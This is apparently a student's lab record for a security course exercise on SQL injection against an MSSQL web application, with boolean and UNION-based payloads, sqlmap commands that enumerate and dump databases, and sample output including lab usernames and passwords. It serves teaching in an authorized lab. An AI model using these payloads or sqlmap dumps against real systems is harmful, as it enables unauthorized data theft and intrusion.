PRAVEEN V 241901082

Exercise 14
Perform an SQL Injection Attack Against MSSQL to Extract Databases

AIM

To perform an SQL injection attack against a target MSSQL database in an authorized lab environment, in order to extract database names, tables and data using manual techniques and SQLMap.

PROCEDURE

a) Identifying the SQL Injection Point

1. Open the target web application connected to the MSSQL backend in a browser.
2. Locate an input field or URL parameter that interacts with the database (e.g., login form, search box, product ID parameter).
3. Test for SQL injection by entering a single quote (') in the field and observing whether a database error is returned.
4. Confirm the injection using a boolean-based test:
   id=1' AND '1'='1 (should return normal result)
   id=1' AND '1'='2 (should return no result/error)
5. Note the vulnerable parameter and the error message revealing MSSQL as the backend.

b) Manual Extraction Using UNION-Based Injection

1. Determine the number of columns using ORDER BY:
   id=1' ORDER BY 5--
2. Use a UNION SELECT query to extract the database name:
   id=-1' UNION SELECT 1,DB_NAME(),3,4,5--
3. Extract the list of databases using the MSSQL system table:
   id=-1' UNION SELECT 1,name,3,4,5 FROM master..sysdatabases--
4. Extract table names from the current database:
   id=-1' UNION SELECT 1,TABLE_NAME,3,4,5 FROM INFORMATION_SCHEMA.TABLES--
5. Extract column names from a specific table:
   id=-1' UNION SELECT 1,COLUMN_NAME,3,4,5 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='users'--
6. Extract actual data (e.g., usernames and passwords) using UNION SELECT on the identified columns.

c) Automated Extraction Using SQLMap

1. Open a terminal in Kali Linux.
2. Run SQLMap against the identified vulnerable parameter:
   sqlmap -u "http://target-app/product.php?id=1" --dbms=mssql --batch
3. List all available databases:
   sqlmap -u "http://target-app/product.php?id=1" --dbms=mssql --dbs
4. List the tables in a specific database:
   sqlmap -u "http://target-app/product.php?id=1" --dbms=mssql -D <database_name> --tables

5. Dump the data from a specific table:
   sqlmap -u "http://target-app/product.php?id=1" --dbms=mssql -D <database_name> -T <table_name> --dump
6. Record all extracted information in the observation table.

OBSERVATION TABLE

S.No	Step	Technique / Query Used	Information Extracted
1	Injection confirmation	id=1' AND '1'='1 / '1'='2	Parameter confirmed vulnerable, MSSQL identified
2	Column count	ORDER BY 5--	Table has 5 columns
3	Database name	UNION SELECT DB_NAME()	Current database name extracted
4	List of databases	UNION SELECT FROM master..sysdatabases	All database names listed
5	Table names	UNION SELECT FROM INFORMATION_SCHEMA.TABLES	Tables in database identified
6	Column names	UNION SELECT FROM INFORMATION_SCHEMA.COLUMNS	Columns of target table identified
7	SQLMap automated	sqlmap --dbs	Databases enumerated

S.No	Step	Technique / Query Used	Information Extracted
	scan		automatically
8	SQLMap dump	sqlmap --dump	Table data (usernames/passwords) extracted

OUTPUT

Error-based confirmation:

Microsoft OLE DB Provider for SQL Server error '80040e14'

Unclosed quotation mark after the character string

UNION SELECT database name:

Database: shop_db

List of databases (master..sysdatabases):

master

tempdb

model

msdb

shop_db

SQLMap --dbs output:

available databases [5]:

[*] master

[*] model

[*] msdb

[*] shop_db

[*] tempdb

SQLMap --dump output (users table):

| id | username | password |

| 1 | admin | admin123 |

| 2 | testuser | pass@123 |

RESULT

Thus, an SQL injection attack was successfully performed against the target MSSQL database in an authorized lab environment. Databases, tables and sensitive data were extracted using both manual UNION-based injection and automated SQLMap techniques.